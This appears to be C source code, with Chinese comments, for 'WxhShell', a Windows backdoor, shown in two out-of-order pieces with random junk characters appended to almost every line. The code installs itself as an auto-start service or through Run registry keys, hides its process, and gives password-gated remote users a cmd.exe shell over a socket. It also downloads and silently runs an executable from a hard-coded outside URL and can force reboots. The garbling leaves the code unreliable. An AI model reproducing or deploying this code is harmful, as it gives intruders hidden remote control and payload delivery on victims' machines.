    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,L~snR'w  
    if(Boot(SHUTDOWN)) >E~~7Yal  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOC| B  
    else { p Mh++H]"  
    closesocket(wsh); )=Y-f?o!  
    ExitThread(0); _[0I^o  
    } c*jr5 Y  
    break; acy"ct*I  
    } 4zwif&  
  // 获取shell 5Ny0b|+p  
  case 's': { 6<+8}`@B>G  
    CmdShell(wsh); X; 5S  
    closesocket(wsh); vS2(Q0+TZi  
    ExitThread(0); JQr36U  
    break; ]ci RiMkT(  
  } Qv74?B@  
  // 退出 | 4%v"U  
  case 'x': { >LCjtm\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LsnXS9_  
    CloseIt(wsh); >7W"giWP  
    break; 2t.fD@  
    } !Am =v=>  
  // 离开 nT)~w s  
  case 'q': { BHIM'24bp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8@Q"YA 3d+  
    closesocket(wsh); 7V |"~%  
    WSACleanup(); o` 2 5  
    exit(1); r"6lLc  
    break; (s.o  
        } br10ptEx  
  } Mc.^s  
  } [!5l0{0  
3k`NNA  
  // 提示信息 Us*Vn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DU(X,hDBF  
} Scf.4~H 0  
  } &,F elB0*  
40rZ~!}  
  return; ;\1b{-' l  
} 5,Qy/t}K  
QK,=5~IJ  
// shell模块句柄 C?bXrG\  
int CmdShell(SOCKET sock) m2wp m_vV#  
{ 5N Fq7&rJ6  
STARTUPINFO si; e-1;dX HL  
ZeroMemory(&si,sizeof(si)); g+VRT, r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +~@7" |d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tYF$#Nor#k  
PROCESS_INFORMATION ProcessInfo; K T%i,T  
char cmdline[]="cmd"; ?#x'_2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N" 8*FiZ|  
  return 0; Bc5YW-QD  
} 01'y^`\xQ  
|yuGK  
// 自身启动模式 8U8P g2  
int StartFromService(void) JB641nv  
{ L)@`58Eil  
typedef struct g6HphRJ5s  
{ T,A!5V>cX  
  DWORD ExitStatus; 5R& x{jf$  
  DWORD PebBaseAddress; & %@/Dwr  
  DWORD AffinityMask; RT1{+:l  
  DWORD BasePriority; [9'|7fdU  
  ULONG UniqueProcessId; -Cg`x=G;z  
  ULONG InheritedFromUniqueProcessId; @263)`9G  
}   PROCESS_BASIC_INFORMATION; /vMQF+  
jo]m1 2ps  
PROCNTQSIP NtQueryInformationProcess; )j$b9ZBk  
p|xs|O6{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wV7@D[8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tvG g@Xs\  
hqdC9?\  
  HANDLE             hProcess; `8.1&fBr  
  PROCESS_BASIC_INFORMATION pbi; IY-(- a8  
SjFF=ib  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qQwJJjf  
  if(NULL == hInst ) return 0; y^5T/M  
Zb 12:?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cmp{FN"o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  zjZ;xn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d<e+__ 2  
{Q}!NkF 1  
  if (!NtQueryInformationProcess) return 0; "FD<^  
_Ac/ir[,:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j=`y  @~  
  if(!hProcess) return 0; qiF@7i  
V.O<|tl.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "it`X B.  
UwvGr h  
  CloseHandle(hProcess); ){?mKB5  
u?LW+o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "H wVK  
if(hProcess==NULL) return 0; BT y]!%r'  
v4nv Z6  
HMODULE hMod; 0(Yh~{   
char procName[255]; .aVHd<M  
unsigned long cbNeeded; 6{Krw \0  
g6x/f<2x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Ba%=  
JNU"5sB  
  CloseHandle(hProcess); ?GaI6?lbn  
}[XB]Xf  
if(strstr(procName,"services")) return 1; // 以服务启动 \<0G kp  
FN{H\W1cf  
  return 0; // 注册表启动 xkk@ {}J\  
} Qivf|H619  
G.A=hGw  
// 主模块 SaX,^_GY  
int StartWxhshell(LPSTR lpCmdLine) ~ z-?rW  
{ `8$:F4%P  
  SOCKET wsl; r&H=i  
BOOL val=TRUE; IG2`9rR  
  int port=0; ?0 KiR?  
  struct sockaddr_in door; E7d~#  
A)O_es 2  
  if(wscfg.ws_autoins) Install(); M6o xtt4  
4eDmLC"Y *  
port=atoi(lpCmdLine); = !I8vQ>  
u&?yPR  
if(port<=0) port=wscfg.ws_port; b<29wL1  
s0X/1Cq  
  WSADATA data; HM(bR"E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MbT ONt?~v  
[="g|/M)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ntA[[OIFO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <=5,(a5g  
  door.sin_family = AF_INET; ;W$w=j: O{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tS_xa  
  door.sin_port = htons(port); bv:0EdVr  
n',9#I(!L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jWO&SWso  
closesocket(wsl); )D6'k{6M  
return 1; sp=7Kh?|>  
} u`L!za7fi  
V{ a}#J  
  if(listen(wsl,2) == INVALID_SOCKET) { !.tL"U~4  
closesocket(wsl); {Kq*5Aq8  
return 1; mTrI""Jsu;  
} .>AFf9P  
  Wxhshell(wsl); Q+y-*1   
  WSACleanup(); x`j$9XN5  
Eb4< 26A  
return 0;  Xv? S  
$w";*">:0  
} 1%]{0P0?[  
kp#c:ym  
// 以NT服务方式启动 W[jW;uk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +Zty}fe  
{ ~8Dd<4?F]  
DWORD   status = 0; M; S-ESQ  
  DWORD   specificError = 0xfffffff; U&d-?PI  
^=-*L 3f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k`iq<b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Rpa A)R,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $@ T6g  
  serviceStatus.dwWin32ExitCode     = 0; )+Y\NO?O  
  serviceStatus.dwServiceSpecificExitCode = 0; 6a2w-}Fs  
  serviceStatus.dwCheckPoint       = 0; SoM ]2^  
  serviceStatus.dwWaitHint       = 0; SzgY2+Qq  
V fE^g\Ia  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #Kb)>gzT  
  if (hServiceStatusHandle==0) return; I2Or& _  
7DHT)9lD/  
status = GetLastError(); qI4R`P"  
  if (status!=NO_ERROR) }{w_>!ee  
{ +i q+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $J;=Ux)$  
    serviceStatus.dwCheckPoint       = 0; W:;`  
    serviceStatus.dwWaitHint       = 0; -6 7f33  
    serviceStatus.dwWin32ExitCode     = status; {_k!!p6  
    serviceStatus.dwServiceSpecificExitCode = specificError; l+3%%TV@L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &a2V-|G',  
    return; T^=Ee?e  
  } UmP?}Xw6  
_6QLnr&@j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u[6`Jr~  
  serviceStatus.dwCheckPoint       = 0; (-G(^Tn  
  serviceStatus.dwWaitHint       = 0; j .yr 5%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A]~iuUHm  
} 8en#PH }  
6wvhvMkS  
// 处理NT服务事件,比如:启动、停止 ;>QK}#'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WkU) I2oH  
{ Tr}$Pb1  
switch(fdwControl) NNREt:+kr  
{ g^<q L|  
case SERVICE_CONTROL_STOP: ke;*uS  
  serviceStatus.dwWin32ExitCode = 0; d= T9mj.@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]= QCCC  
  serviceStatus.dwCheckPoint   = 0; V"Y Fu^L  
  serviceStatus.dwWaitHint     = 0; |0vHy7CE  
  { [#3Cg%V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~:RDw<PWp  
  } mG8  
  return; /iJcy:J  
case SERVICE_CONTROL_PAUSE: 37M[9m|D*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M@LaD 5  
  break; N- ?|]4e/  
case SERVICE_CONTROL_CONTINUE: 4[f7X4d$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x x`8>2T#e  
  break; #*;fQ&p  
case SERVICE_CONTROL_INTERROGATE: t73Z3M  
  break; scPq\Qd?O  
}; % &Q7;?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DHujpZXQ  
} X-2S*L'  
/xm} ?t0U  
// 标准应用程序主函数 k @/SeE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wp9 2sm+  
{ |yl0}. ()  
5\*wX.wp  
// 获取操作系统版本 2" {]A;@  
OsIsNt=GetOsVer(); |@bNd7=2d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z@aL"@2]a  
RxDxLU2kt  
  // 从命令行安装 yfw>y=/p  
  if(strpbrk(lpCmdLine,"iI")) Install(); RT+30Q?  
hK9oe%kU~  
  // 下载执行文件 }zfLm` vJ  
if(wscfg.ws_downexe) { yOCcp+`T}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4`5Qt=}  
  WinExec(wscfg.ws_filenam,SW_HIDE); E,yzy[gl  
} =x.v*W]F`  
([XyW{=h!  
if(!OsIsNt) { "62Ysapq+  
// 如果时win9x,隐藏进程并且设置为注册表启动 Go+,jT-  
HideProc(); !&:W1Jkp(  
StartWxhshell(lpCmdLine); OXCml(>{  
} ^[?+=1 k  
else 2.L6]^N p(  
  if(StartFromService()) dgqJ=+z 0y  
  // 以服务方式启动 ^9V8M9  
  StartServiceCtrlDispatcher(DispatchTable); e !x-:F#4j  
else 6_}){ZR  
  // 普通方式启动 _R<V8g1f  
  StartWxhshell(lpCmdLine); uc(yos  
\S@=zII_  
return 0; Z$=$oJzB  
} M Ut^mu$86  
eq 1 4  
t:j07 ,1~  
6%hEs6-R  
=========================================== kE(-vE9  
QO`SnN}  
K}*p(1$u  
k-PRV8WO  
PNxO \Rc  
%<*pM@  
" {aa,#B] i  
JP% ;rAoJ  
#include <stdio.h> )*<d1$aM  
#include <string.h> g8qAJ4  
#include <windows.h> 8{=( #]  
#include <winsock2.h> 7/$Z7J!k  
#include <winsvc.h> (a4y1k t-  
#include <urlmon.h> J3}C T  
m_ONsZHy  
#pragma comment (lib, "Ws2_32.lib") y42T.oK8c  
#pragma comment (lib, "urlmon.lib") o6yZ@R  
FZ.Yn   
#define MAX_USER   100 // 最大客户端连接数 Q_h+r! b  
#define BUF_SOCK   200 // sock buffer ( =/L#Yg_  
#define KEY_BUFF   255 // 输入 buffer H.G^!0j;  
gl{P LLe[}  
#define REBOOT     0   // 重启 +q?0A^C>  
#define SHUTDOWN   1   // 关机 2o3k=hKS  
2 ]6u B e  
#define DEF_PORT   5000 // 监听端口 M]zNW{Xt  
0+`*8G)  
#define REG_LEN     16   // 注册表键长度 <yaw9k+P  
#define SVC_LEN     80   // NT服务名长度 ~=gH7V  
 Jy[8,X  
// 从dll定义API -hV KPIb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?U[nYp}"v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $<DA[ %pv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y/*Tvb #TJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,<!*@xy7v  
qi~-<qW  
// wxhshell配置信息 Ax\d{0/oL2  
struct WSCFG { _\yR/W~  
  int ws_port;         // 监听端口 ]%-U~avph  
  char ws_passstr[REG_LEN]; // 口令 %CYo, e  
  int ws_autoins;       // 安装标记, 1=yes 0=no %}H 2  
  char ws_regname[REG_LEN]; // 注册表键名 6:S, {@G  
  char ws_svcname[REG_LEN]; // 服务名 /Z]nV2$n)V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I9L3Y@(f6m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (e5Z^9X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^w%%$9=:r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b3_P??yp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3n)Kzexh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8mmnnf{P  
.|u`s,\  
}; ,[ppETz  
UAz^P6iQ`~  
// default Wxhshell configuration u0<yGsEGD  
struct WSCFG wscfg={DEF_PORT, |AE{rvP{@  
    "xuhuanlingzhe", @D*PO-s9  
    1, ud(0}[  
    "Wxhshell", w%TrL+v  
    "Wxhshell", sZ&6g<8#y  
            "WxhShell Service", ts(u7CJd  
    "Wrsky Windows CmdShell Service",  wT19m  
    "Please Input Your Password: ", _1Rw~}O  
  1, '_7rooU9  
  "http://www.wrsky.com/wxhshell.exe", 'Q=)-  
  "Wxhshell.exe" 8EkzSe  
    }; P@GU2[1  
)TVd4s(e  
// 消息定义模块 b{-"GqMO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !oXFDC3k  
char *msg_ws_prompt="\n\r? for help\n\r#>";  k4<28  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q|+ a   
char *msg_ws_ext="\n\rExit."; >&e=0@?+G  
char *msg_ws_end="\n\rQuit."; Nz3+yxv1  
char *msg_ws_boot="\n\rReboot..."; [ *It' J^  
char *msg_ws_poff="\n\rShutdown..."; 55ec23m  
char *msg_ws_down="\n\rSave to "; N;YFr  
a+J>  
char *msg_ws_err="\n\rErr!"; 6Q>:vQ+E  
char *msg_ws_ok="\n\rOK!"; oV['%Z'  
VI9rezZ*  
char ExeFile[MAX_PATH]; Oq% TW|a#  
int nUser = 0; :4 z\Q]  
HANDLE handles[MAX_USER]; 3QZm *. /"  
int OsIsNt; UkD\ma  
[O^/"Qk  
SERVICE_STATUS       serviceStatus; d])ctxB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /N%i6t<xU  
l i?@BHEf  
// 函数声明 + \%]<YO  
int Install(void); ox<&T|  
int Uninstall(void); Iv3yDL;  
int DownloadFile(char *sURL, SOCKET wsh); U5-8It2OR  
int Boot(int flag); Jb$G  
void HideProc(void); V&ETt.91Ft  
int GetOsVer(void); \ ;]{`  
int Wxhshell(SOCKET wsl); MC,Qv9m  
void TalkWithClient(void *cs); -,;woOG  
int CmdShell(SOCKET sock); &0[ L2x}7  
int StartFromService(void); Opf)TAl{  
int StartWxhshell(LPSTR lpCmdLine); ~a3u['B  
~vpF|4Zn5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *2~WP'~PQd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mE{QTZS  
H[s+.&^  
// 数据结构和表定义 T ?[;ej:  
SERVICE_TABLE_ENTRY DispatchTable[] = vOCaru?~h  
{ mX.mX70|J  
{wscfg.ws_svcname, NTServiceMain}, E(6P%(yt8  
{NULL, NULL} Go:(R {P  
}; d>I)_05t  
NTZ3Np`  
// 自我安装 kq(><T  
int Install(void) i Pr(X  
{ E <j=5|0t  
  char svExeFile[MAX_PATH]; 03|nP$g  
  HKEY key; YWd2bRb  
  strcpy(svExeFile,ExeFile); `)]W~  
D9P,[:"  
// 如果是win9x系统,修改注册表设为自启动 :, v(l q  
if(!OsIsNt) { v,Z]Vqk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (ot56`,k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (t&`m[>K  
  RegCloseKey(key); Z-ci[Zv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;c]O*\/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k0PwAt)65  
  RegCloseKey(key); "v wLj:  
  return 0; $ e L-fg  
    } 1TA!9cz0Z  
  } 5QXU"kWH  
} &I)tI^P}  
else { 8r[TM  
?P|z,n{  
// 如果是NT以上系统,安装为系统服务 !<j4*av:G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +?3RC$jyw  
if (schSCManager!=0) [#\OCdb*3  
{ E$:2AK{*  
  SC_HANDLE schService = CreateService "WGKwi=W  
  ( !WGQ34R{  
  schSCManager, [ywF!#'){  
  wscfg.ws_svcname, Hr}"g@ <  
  wscfg.ws_svcdisp, WhH60/`  
  SERVICE_ALL_ACCESS, 5"3 `ss<m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I+kL;YdS  
  SERVICE_AUTO_START, 3l`"(5  
  SERVICE_ERROR_NORMAL, tFn[U#'  
  svExeFile, =Oh$pZRymu  
  NULL, nXfz@q  
  NULL, Si~wig2  
  NULL, ljrJC  
  NULL, !~F oy F  
  NULL S{2;PaK  
  ); 8'3&z-  
  if (schService!=0) u&o4? ]6  
  { G.XxlI}  
  CloseServiceHandle(schService); a(O@E%|u  
  CloseServiceHandle(schSCManager); <bCB-lG*Kb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6K8v:yYPa  
  strcat(svExeFile,wscfg.ws_svcname); 6?US<<MQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6.45^'t]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <=%[.. (S  
  RegCloseKey(key); uw8g%  
  return 0; pcOi%D,o  
    } AriV4 +  
  } Citumc)E  
  CloseServiceHandle(schSCManager); $X.F=Kv  
} ?XyrG1('  
} +U,t*U4,  
] X]!xvN@  
return 1; B&59c*K  
} $?:IRgAr  
.@mZG<vg  
// 自我卸载 LR#.xFQ+  
int Uninstall(void) =M@)q y  
{ \J?&XaO=  
  HKEY key; ^hEN  
V?^qW#AG  
if(!OsIsNt) { sP@XV/`3L6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KdHkX+-R  
  RegDeleteValue(key,wscfg.ws_regname); }>y~P~`S:  
  RegCloseKey(key); !(Y|Vm'   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :u=y7[I  
  RegDeleteValue(key,wscfg.ws_regname); Z(4/;v <CT  
  RegCloseKey(key); j&A9 &+w  
  return 0; Fv/{)H<:y  
  } (qc <'$o  
} oliVaavj  
} 13 JG[,w  
else { ;2fzA<RkK  
K]>4*)A:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u\xrC\Ka  
if (schSCManager!=0) G5 )"%G.  
{ c??m9=OX1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jq>5:"jZ0  
  if (schService!=0) p'@z}T?F  
  { :nnch?J_  
  if(DeleteService(schService)!=0) { (1er?4  
  CloseServiceHandle(schService);  L=!h`k  
  CloseServiceHandle(schSCManager); ' t(#HBU  
  return 0; *n@rPr-  
  } E:\#Ur2  
  CloseServiceHandle(schService); SU7,uxF  
  } [!KsAsmk  
  CloseServiceHandle(schSCManager); *}(B"FSO  
} r_'];  
} 1T~`$zS7  
 d*([!!i  
return 1; Td^62D;  
} /-@F|,O)$n  
V~o'L#a  
// 从指定url下载文件 #gf0*:p  
int DownloadFile(char *sURL, SOCKET wsh) oM#+Z qP  
{ u,YmCEd_V  
  HRESULT hr; 8h}1t4k  
char seps[]= "/"; `N}'5{I  
char *token; 9*n?V;E  
char *file; j9Z1=z  
char myURL[MAX_PATH]; ,FRa6;  
char myFILE[MAX_PATH]; XNvlx4  
|N^8zo :  
strcpy(myURL,sURL); 0!:%Ge_  
  token=strtok(myURL,seps); iY sQ:3s  
  while(token!=NULL) 3dtL[aVwY  
  { wz:,gpH  
    file=token; hG9Mp!d91  
  token=strtok(NULL,seps); pF~aR]Q  
  } 6@(o8i   
R >[G6LOG  
GetCurrentDirectory(MAX_PATH,myFILE); OCqknA  
strcat(myFILE, "\\"); 5HAAaI  
strcat(myFILE, file); /b4>0DXT5  
  send(wsh,myFILE,strlen(myFILE),0); -"N vu  
send(wsh,"...",3,0); uAk>VPuuZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?6MUyH]a  
  if(hr==S_OK) 9I1`*0A  
return 0; j{ri]?p  
else RSjcOQ8&.w  
return 1; v] q"{c/  
O6q5qA  
} VF<VyWFC0`  
R\6dvd  
// 系统电源模块 #N97  
int Boot(int flag) _w5c-\-PUM  
{ ;t.)A3 PL  
  HANDLE hToken; XzBl }4s  
  TOKEN_PRIVILEGES tkp; 56Lt "Z F  
a63Ud<_a7  
  if(OsIsNt) { 01%0u8U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gHWsKE  %  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m{yq.H[X  
    tkp.PrivilegeCount = 1; O`>u70  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lj *=bK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [RDY(}P%  
if(flag==REBOOT) { V )oKsO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) weOga\  
  return 0; R++w>5 5A  
} W>u$x=<T  
else { Fcn@j#[J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &D7Mv5i0@  
  return 0; }?U #@ h  
} j#VR>0oC]\  
  } ]e? L,1-  
  else { ?Bd6<F -G  
if(flag==REBOOT) { `7 Nk;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sg<c1  
  return 0; a7z% )i;Z  
} Nqj5,9*c  
else { w (odgD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .  
  return 0; Oj7).U0;#  
} 5*y6{7FLp  
} A{Y/eG8  
Ht~YSQ~:y  
return 1; A(JgAV1{  
} Qer}eg`R  
gp^xl>E  
// win9x进程隐藏模块 )Y=ti~?M(  
void HideProc(void) }A<fCm7  
{ OK:YnSk"  
t1o_x}z4.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3`njQvI\  
  if ( hKernel != NULL ) [5P1 pkZ  
  { &:=[\Ws R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); //}KWz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .`h:1FP 8  
    FreeLibrary(hKernel); +L=a\8Ep  
  } pG$l   
xHn "D@  
return; uX&Tn1Kg  
} RXhT{Ho(>  
~:UAL}b{\~  
// 获取操作系统版本 :1!k*5  
int GetOsVer(void) Vf$q3X  
{ "Qe2U(Un  
  OSVERSIONINFO winfo; #\O?|bN'q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JZ"XrS0?  
  GetVersionEx(&winfo); 4m_CPe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) & c 81q2  
  return 1; 6[]O3Aa  
  else \.`{nq  
  return 0; O6\t_.  
} 1F[W~@jW  
ZX40-6#O  
// 客户端句柄模块 aw1 f;&K4  
int Wxhshell(SOCKET wsl) k NUNh[  
{ CN#2-[T  
  SOCKET wsh; T'%R kag>  
  struct sockaddr_in client; k= .pcDX  
  DWORD myID; 6p~8(-nG  
.!g  
  while(nUser<MAX_USER) 2,'%G\QT  
{ V_H0z  
  int nSize=sizeof(client); frbeCBP&)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k{+ Gv}Y  
  if(wsh==INVALID_SOCKET) return 1; m^1'aO_;q  
9Qc=D"'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~qb-uT\(99  
if(handles[nUser]==0) x /?w1  
  closesocket(wsh); q>dERN&  
else I- WR6s=  
  nUser++; x1 1ug  
  } !MD uj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f:/"OCig  
[gE2;J0*  
  return 0; \7tJ)[0aF  
} c8qwsp  
M{`uI8vD  
// 关闭 socket #j6qq3OG  
void CloseIt(SOCKET wsh) _n!W4zwi  
{ axiP~t2  
closesocket(wsh); jsIT{a*]  
nUser--; SHUn<+/e  
ExitThread(0); jRSY`MU}t+  
} zFO#oW,D  
]*yUb-xY  
// 客户端请求句柄 j{H,{x  
void TalkWithClient(void *cs)  u~j&g  
{ aumM\rY  
N5@l[F7I  
  SOCKET wsh=(SOCKET)cs; sFonc  
  char pwd[SVC_LEN]; <FU1|  
  char cmd[KEY_BUFF]; =_9grF-  
char chr[1]; 4*_.m9{  
int i,j; $or8z2d1  
9{n?Jy  
  while (nUser < MAX_USER) { |Ht~o(]&&/  
fTV}IP  
if(wscfg.ws_passstr) { JCZ5q9b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pq<2:F:Kl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5,K*IH  
  //ZeroMemory(pwd,KEY_BUFF); vo]$[Cp|4  
      i=0; }Uunlz<  
  while(i<SVC_LEN) { LE4P$%>H  
tLe"i>  
  // 设置超时 ]MV=@T^8#  
  fd_set FdRead; A$XmO}+  
  struct timeval TimeOut; 5$"I Uq*  
  FD_ZERO(&FdRead); T Ue=Yj  
  FD_SET(wsh,&FdRead); OmC F8:\/  
  TimeOut.tv_sec=8; +p_>fO  
  TimeOut.tv_usec=0; f-a+&DB9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aA&}=lm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =F90SyzTy  
E|omC_h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S"Mm_<A$@  
  pwd=chr[0]; y@u,Mv  
  if(chr[0]==0xd || chr[0]==0xa) { y>_*}>2,O  
  pwd=0; $Rv (v%  
  break; y,vrMWDy  
  } q b7ur;  
  i++; E0<$zP}V}F  
    } fs%l j_t  
)w&k&TY4H  
  // 如果是非法用户,关闭 socket R{SN.%{;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K._* ~-A  
} gqQ"'SRw  
QAKA3{-(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xmaj7*f>p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \tZZn~ex  
E|hW{oX3  
while(1) { ""u>5f  
kJG0X%+w  
  ZeroMemory(cmd,KEY_BUFF); 0N4+6k|  
m<| *  
      // 自动支持客户端 telnet标准   y?yWM8  
  j=0; @DA.$zn&  
  while(j<KEY_BUFF) { =/L;}m)7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $VyH2+ jC  
  cmd[j]=chr[0]; V [r1bF  
  if(chr[0]==0xa || chr[0]==0xd) { .z&,d&E  
  cmd[j]=0; <B3$ODGJp  
  break; ?9m@ S#@  
  } Vrx3%_NkQ  
  j++; $WHmG!)*  
    } B0eKj=y;  
qB44;!(  
  // 下载文件 8:)itYE  
  if(strstr(cmd,"http://")) { $g!~T!p=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oBZzMTPe  
  if(DownloadFile(cmd,wsh)) i4^1bd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -|nHwSrCZ/  
  else Iji9N!Yx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %SlF7$  
  } |\_d^U &`  
  else { 3X A8\Mg  
^=V b'g3P~  
